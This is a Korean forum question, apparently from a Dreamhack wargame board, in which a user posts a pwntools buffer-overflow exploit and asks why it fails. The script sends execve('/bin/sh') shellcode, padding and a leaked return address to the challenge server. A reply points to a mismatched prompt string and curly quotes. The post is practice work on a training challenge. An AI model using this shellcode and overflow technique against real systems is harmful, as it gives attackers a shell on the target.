뭐가 잘못된거지 한번 봐주실수 있으신가요?

from pwn import*
context.log_level='debug'
p=remote('host3.dreamhack.games',23039)

p.recvuntil(b'buf : ( ')
ret = int(p.recv(10), 16)

shell=b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'

payload=shell
payload+=b'A'*106 + p32(ret)
p.sendline(payload)
p.interactive()
작성한 코드인데 아래 사진 처럼 오류가 나서 찾아봤는데 뭔지 모르겠습니다

#pwnable
작성자 정보
답변 1
avatar
Rasser
워게임: 20

p.recvuntil(b’buf : ( ') 부분에서 에러가 떠서 그렇습니다.
바이너리를 실행했을 때 정확히 buf : ( 인지 확인해보세요.

그리고 문자열 하실때 '나 "으로 작성해주셔야 합니다

2022.07.08. 00:38
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기